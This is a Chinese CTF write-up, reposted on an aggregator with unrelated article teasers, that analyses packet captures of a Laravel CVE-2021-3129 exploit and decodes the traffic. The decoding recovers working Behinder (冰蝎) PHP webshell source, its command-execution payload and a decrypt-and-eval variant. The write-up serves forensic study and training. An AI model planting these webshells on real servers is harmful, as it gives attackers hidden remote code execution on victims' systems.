第二届黄河流域团队赛个人wp

news2024/7/31 9:20:07

个人wp

web

两个题都几乎是网上的原题,不想多说了,放个链接,重点记录一下自己第一次遇到的misc 冰蝎流量分析

web1 https://blog.csdn.net/qq_51768842/article/details/125153850

web2 https://blog.csdn.net/m0_73512445/article/details/135266070

web2后面用不到反弹shell,js原型链污染即可

misc

LL

一开始看到很多目录扫描的流量404,直接过滤掉,命令

http &&http.response.code!=404

过滤后,找最后的200的流量包,发现都是加密的密文,于是再往前寻找,发现有几个流量包值得注意

在这里插入图片描述

这个请求一看就是读取什么文件,似乎是文件包含,有好几个包都是这个,感觉有蹊跷,上网搜了一下Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution,发现这几个payload是利用php laravel框架的一个漏洞的,CVE-2021-3129,大佬的文章:https://www.cnblogs.com/xiaoyunxiaogang/p/16913350.html

poc大多都要利用filter写入日志,而且payload会用quoted-printable编码一下,于是寻找有quoted-printable编码字符串的流量包,找一下跟/_ignition/execute-solution交互的流量包,条件

http.request.uri contains "/_ignition/execute-solution"

在6787这个流量包中找到了

在这里插入图片描述

按照上一个图中,filter的编码顺序,对应解码一下,ai写的脚本

<?php
//把那很长的一串粘贴过来
$string="...";
$stream = fopen("php://memory", "r+");
fwrite($stream, $string);
rewind($stream);

// 将流过滤器附加到数据流上
stream_filter_append($stream, 'convert.quoted-printable-decode');
stream_filter_append($stream, 'convert.iconv.utf-16le.utf-8');
stream_filter_append($stream, 'convert.base64-decode');

// 读取并输出解码后的字符串
while (!feof($stream)) {
    echo fread($stream, 8192);
}

// 关闭数据流
fclose($stream);
?>

发现

在这里插入图片描述

中间这里有很多base64,还写入了about.php,看看是什么东西,base64解码完

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

还真是webshell,命令的流量都会经过加密,上网查了一下发现这是冰蝎的webshell,那么最后一个流量包里的很简短的应答应该就是flag

虽然这里写了aes密钥,但拿去在线的aes解密还是不太对,还是得从这个webshell本身的解密方式来,稍微改一下拿来解密即可

选最后的流量包中加密的命令解密

在这里插入图片描述

还要base64解码,

@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();  //初始化session,避免connect之后直接background,后续getresult无法获取cookie

    echo encrypt(json_encode($result));
}

function encrypt($data)
{
 @session_start();
    $key = $_SESSION['k'];
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15];
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}
$content="cW1sdXE4bDlLcXpMV21aZm9WUXVkQU82N0NSTmF6c0xGeWZESzg3SUhIemhXMEdqWlRIRzNmSDVPYjVISUdBVmFoUVNnZlQ1RkxUU1JXWFF2aUhnZ1hCeVpueXpVeWhuSFJKcm9yODdEaGZtazRyc3ZxRG53bE1OZFVDaDRic0ZwSndHUTFsdGZmWURITnN4eEtXM2djeFJhbWx2NXFRVlZmNXNnMENaZHI2ZWZJdkVPY21xN1VvSGhuNWczUFJ0ZUJSNEE0NlE2djNYbTVMWXN5cHdoM3NQZUJFWGhpaVBSWEprb09wSFJRR3hlcEttQXRrT2hmcW1lVDRreHBHenh2VmNwalA2THVXODlYWnRRUU44MzNHSGRyd2pNTEFkYlFSTVZ5RFk3ZlhhaktLeFhkV0UyOXZoQ0Rvb2FVSGp5a29LNUc2eXBWdlJGVkY4dDVuNUlLZHNscEFaemVzUmR6QjNFNnRqUGNYYlRReHg0Mm1Sd1phUGMxOWhud1MyUzVLOTRYMmJRYjFkbUliYWpHWEdBSFRoY2o1YUl4QzdmWXZ2YUxSVkxSbmV4RmNOckF1MWFieGUwdzhPMFpza3JXVER2WHpTeFlpZzBwTXNEVU5POGtnakhzZzAxU1lNQVc4cE5pWENnN3RWaUVKazQ1MHJJRVpXS3IzNjMwekQyRTZNdTRFZWIyc2hoSXFvQjQxSHMwZHlFZ2Q3UlV6NjVlMDA2S3NpdzBwQVZVQVQ5VWVPSUw0a21lRmR6WlpVVTFIN0pNUHZoM3ZiYXdxUlBLbTBTTmxiQTN2Z2k3Z2cxR1BWdVljZXRrQ2lVNUlYS1N0RW1sVXNTT3RLWWNnSXdUTWY0eDR5WTBLMjRFT0txRlI0QzE5WEJaczl2dFUxMlBPTDdZZDZTaXc3VTRIbzFqaGFrN0FpQWllZXlPS3FVNHNYSzVMeXFERFhsY2dtOHM0cDVhSjBJQXZTaGpXeGptck8yTVpWeDNyend1blRyR3lGM2pZUmhUZTE2eXRMVUdMRXZMY3MwNTJsaHBjalBPbkE3aUdOZThTMzNzT3hhaWtuRXFDblVEWG42UWlob2czRzduRTZZOGpnN25FRk9YSmJqOVcyNzNnNVRIOEM4WEI1dW9kbnN2dEtOeTNNVDh0UGloUmdOTjh5MXg4aTBpYVEyY2R4QWhIb1JBUjFpSEFNTzdKVjNSVmlyYWhZbzZTT1g0cUxQOVNrRk1teXpjeXI3Rkt0dlN0eDNwa3ZnOFB6YnFLdGpUaXZUWWVndEl2Y0tJeGE3NHY4VktsalhDUW4zRzZVWnozenJEWEV1dE1ibHAzVDBQRUw2bDZyYU5QbzI3SGhDWm1hU2o2Qm5YNGVTVVVMYWJHV1RDRUlBWk8yTWp1bWxMRGJqY252QUF6QXg3ckRBR05rNG9LZnVRZmt6bUJhZlYyRXVmRDN5YUpxTTN2TDZ6d0JzQnVwMGN3SFN4a0tLVTJ2aW5oQWNUMXJsa3NRQTIzMzZHVjZBYWZ0NE1GTUo2czJLYVphVklIN3BJUWZWUDVoeThJYTF3MDZMV3c3d0p3amlCRlc1VjU2bzljZ3IyNkwxOERxaHdZVTB0WHVFdmFacnRBdlVDUHFmOHZPU2JjMUxleU5HZ0V0TzZyTkFxRWZSRmJmSmpqdGtUSGdacWdKU1pXVXBVUFRmUW9MMHhua1NjejNWV2Q0emxnakpjRmFLUU9ZS1h3am1WWGY1d1FYNlpTT1B3UjZuZmpqWVZ6bTBPazNlaDBtQm1GRkhyVmhUQ0E2T2xsR1dZVkdJVHV4d3UxdGU=";$content=base64_decode($content);
main($content);

冰蝎真是喜欢套娃,继续base64,

<?php
@error_reporting(0);

function getSafeStr($str) {
    $s1 = iconv('utf-8', 'gbk//IGNORE', $str);
    $s0 = iconv('gbk', 'utf-8//IGNORE', $s1);
    if ($s0 == $str) {
        return $s0;
    } else {
        return iconv('gbk', 'utf-8//IGNORE', $str);
    }
}

function main($cmd, $path) {
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (!empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') && !$Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') && !$Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array('pipe', 'r'),
            array('pipe', 'w'),
            array('pipe', 'w')
        ), $pipes);
        $kWJW = NULL;
        while (!feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') && !$Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') && !$Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') && !$Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('popen') && !$Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (!feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/popen is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}

function encrypt($data) {
    @session_start();
    $key = $_SESSION['k'];
    if (!extension_loaded('openssl')) {
        for ($i = 0; $i < strlen($data); $i++) {
            $data[$i] = $data[$i] ^ $key[$i + 1 & 15];
        }
        return $data;
    } else {
        return openssl_encrypt($data, "AES128", $key);
    }
}

$cmd = "Y2QgL2QgIkQ6XHBocHN0dWR5X3Byb1xXV1dcbGFyYXZlbFwiJnR5cGUgZmxhZy50eHQ=";
$cmd = base64_decode($cmd);
$path = "RDovcGhwc3R1ZHlfcHJvL1dXVy9sYXJhdmVsLw==";
$path = base64_decode($path);
main($cmd, $path);
?>

完整的webshell浮出水面,解密一下命令

cd /d "D:\phpstudy_pro\WWW\laravel\"&type flag.txt

还真是在查看flag,观察main函数可知,命令的结果就是被一开始那个加密方式加密的,直接解密

在这里插入图片描述

在这里插入图片描述

上网找资料时发现,还可以用puzzlesolver工具跑解密,需要冰蝎连接的密码,把密码rebeyond加入puzzlesolver的字典即可

在这里插入图片描述

puzzsolver真乃神器

4.0版本的解密webshell,以后解题要先确认版本

<?php
@error_reporting(0);
function Decrypt($data)
{
    $key="e45e329feb5d925b"; 
    $bs="base64_"."decode";
	$after=$bs($data."");
	for($i=0;$i<strlen($after);$i++) {
    	$after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1815088.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

北京医院共享轮椅小程序开发更贴心,更便捷

在大数据不断发展的今天&#xff0c;资源共享已随处可见&#xff0c;小到共享充电宝&#xff0c;共享雨伞&#xff0c;大到共享单车&#xff0c;汽车。这些常用资源的共享&#xff0c;充分实现了有限资源的最大化利用。 如今&#xff0c;众多北京医院&#xff0c;也结合自身实…

TQZC706开发板教程:10G光口arp测试

网盘分享&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1H-_hn1eAi-Byzn-4tcSFKA 提取码&#xff1a;q524 使用前需要设置时钟&#xff0c;调整右下角的拨码开关为↑↓↓↑↑ 从原理图中可以看出设置为156.25MHz&#xff0c;10Gige模式 启动模式设置为JTAG模式&#…

内地人真的被香港的工资震惊到了!香港身份真的很香

在我优才获批以前&#xff0c;我工资也就一两万&#xff0c;工作压力大又很焦虑&#xff0c;后来在一次和朋友吃饭上聊到了香港工资的话题&#xff0c;说这边的待遇水平比较高。&#x1f60e;&#x1f60e; . 那时候不相信&#xff0c;问了一些在香港工作的大学同学&#xff0c…

【机器学习基础】Python编程07:五个实用练习题的解析与总结

Python是一种广泛使用的高级编程语言,它在机器学习领域中的重要性主要体现在以下几个方面: 简洁易学:Python语法简洁清晰,易于学习,使得初学者能够快速上手机器学习项目。 丰富的库支持:Python拥有大量的机器学习库,如scikit-learn、TensorFlow、Keras和PyTorch等,这些…

颠覆与创新:探寻Facebook未来的发展路径

Facebook&#xff0c;这个曾经引领社交网络革命的巨头&#xff0c;在如今竞争激烈的科技市场中&#xff0c;正面临着前所未有的挑战和机遇。如何在不断变化的数字世界中保持竞争力&#xff0c;成为业界领先者&#xff0c;这是摆在Facebook面前的重要课题。本文将探寻Facebook未…

如何快速搭建自己的进销存系统?

什么是进销存系统&#xff1f; 进销存&#xff0c;是指企业管理过程中采购&#xff08;进&#xff09;—入库&#xff08;存&#xff09;—销售&#xff08;销&#xff09;的动态管理过程。进&#xff1a;指询价、采购到入库与付款的过程。进销存管理系统是对企业生产经营中物…

一分钟学习数据安全—自主管理身份SSI可验证凭证

在对SSI的概念、组成、架构以及用到的加密技术有了大概的了解之后&#xff0c;我们进入到SSI架构的核心&#xff1a;可验证凭证。 可验证凭证旨在实现以下两个目的&#xff1a; 提供数字钱包中的证书的数字版本。用一组关于标识符的声明“自上而下”证明身份&#xff0c;而非“…

Pycharm远程连接服务器配置

创建虚拟环境 conda create -n envName python指定python版本删除虚拟环境 conda remove -n envName --all查看所有虚拟环境 conda env list使用or激活虚拟环境 conda activate HINormer如何查看python编译器是在哪个虚拟环境中&#xff1a; 使用我们尊贵的2080Ti在安装配…

详解 Flink Table API 和 Flink SQL 之流处理中的表

一、关系型表和流处理表对比 关系型表/SQL流处理表处理的数据对象字段元组的有界集合字段元组的无限序列查询&#xff08;Query&#xff09;对数据的访问可以访问到完整的数据输入无法访问所有数据&#xff0c;必须持续“等待”流式输入查询终止条件生成固定大小的结果集后终止…

SyntaxError: Non-UTF-8 code starting with ‘\xbd‘ in file错误解决

在运用python的pandas和numpy的内容环境下&#xff0c;运行代码时发生以下错误&#xff1a; C:\ProgramData\Anaconda3\python.exe D:/zafile/py数据分析与应用/数据分析代码/14.2、紧急电话数据分析.pyFile "D:/zafile/py数据分析与应用/数据分析代码/14.2、紧急电话数据…

教你一招,告警恢复时如何拿到恢复时的值?

Prometheus 生态的原生做法&#xff0c;由于阈值是放在 promql 中的&#xff0c;恢复时的消息中难以拿到恢复时的值&#xff0c;夜莺 v7.0.0.beta10 版本开始&#xff0c;提供了一种较为简单的内置方式&#xff0c;解决这个问题。下面我们就来看一下如何实现这个能力。 升级方…

MATLAB画图时添加标注显示有效数字的位数,可以编辑此函数

本来系统有个函数&#xff0c;在图像窗口选择标注工具&#xff0c;再在图像窗口右击鼠标&#xff0c;选择"编辑文本更新函数..."&#xff0c;即打开系统的设置函数&#xff0c;可以修改最后一行&#xff1a; formattedValue [valueFormat num2str(value,4) removeV…

Python私教张大鹏 Vue3整合AntDesignVue之AutoComplete 自动完成

何时使用 需要一个输入框而不是选择器。需要输入建议/辅助提示。 和 Select 的区别 AutoComplete 是一个带提示的文本输入框&#xff0c;用户可以自由输入&#xff0c;关键词是辅助输入。Select 是在限定的可选项中进行选择&#xff0c;关键词是选择。 基本使用 基本使用。…

创新突破!科海思荣获高效含铊废水处理专利

随着科技进步和工业发展&#xff0c;环境保护和资源循环利用日益受到全球关注。面对严峻的环境挑战&#xff0c;科技创新成为推动可持续发展的关键动力。近日&#xff0c;科海思&#xff08;北京&#xff09;科技有限公司凭借其深厚的技术积累和持续的创新精神&#xff0c;成功…

RT-Thread系统使用STM32H7芯片串口5不工作

使用stm32h743芯片串口5不工作&#xff0c;其他串口都正常&#xff0c;TX5->PC12,RX5->PD2 drv_usart.c里面串口5的TX和RX反了&#xff0c;将TX和RX对调后解决。

SAP 生产订单工序创建BAPI外协加工字段增强CO_SE_PRODORD_OPR_CREATE

需求&#xff1a; 使用BAPI对工单进行新增工序时&#xff0c;需要同时维护外协加工页签上的部分字段&#xff0c;但是该BAPI不包含其中的一些字段&#xff0c;故对此BAPI进行增强以实现该效果。 实现方式&#xff1a; 1.老规矩&#xff0c;COPY标准BAPI出来&#xff0c;再对其…

微信小游戏开发流程及上架步骤:微信小游戏定制开发源码搭建

微信小游戏开发方案主要包括以下几个方面&#xff1a; 1.游戏设计&#xff1a;根据需求和目标用户群体&#xff0c;设计游戏玩法、关卡、角色、场景等元素&#xff0c;确保游戏具有吸引力和可玩性。 2.技术实现&#xff1a;根据游戏设计&#xff0c;选择合适的技术栈和开发工具…

平时的财经日历会影响黄金现货走势吗?

现货黄金的价格走势会受到诸多因素的影响&#xff0c;比如在财经日历上&#xff0c;美国的非农就业报告、GDP、利率公告、通胀数据等新闻和经济公告&#xff0c;都可能会对市场产生重大影响&#xff0c;尤其是当这些数据与市场预期不符的时候。所以比起单纯地进行技术分析和图表…

揭秘:消费1000,竟能领回2000?每天还有额外收入?

大家好&#xff0c;我是吴军&#xff0c;今天将为大家揭秘一种令人眼前一亮的商业模式——循环购模式。你可能会问&#xff0c;消费1000元&#xff0c;商家却送出了2000元的“好处”&#xff1f;每天还有钱领&#xff0c;这些钱还能提现&#xff1f;这究竟是怎么一回事&#xf…

VMware Workstation安装及使用详细教程

如何安装VMware Workstation的详细教程 一、准备工作 1. 下载VMware Workstation&#xff1a; 访问VMware官方网站&#xff0c;找到VMware Workstation的下载页面。根据您的操作系统&#xff08;Windows或macOS&#xff09;选择相应的版本进行下载。确保您的计算机满足VMwar…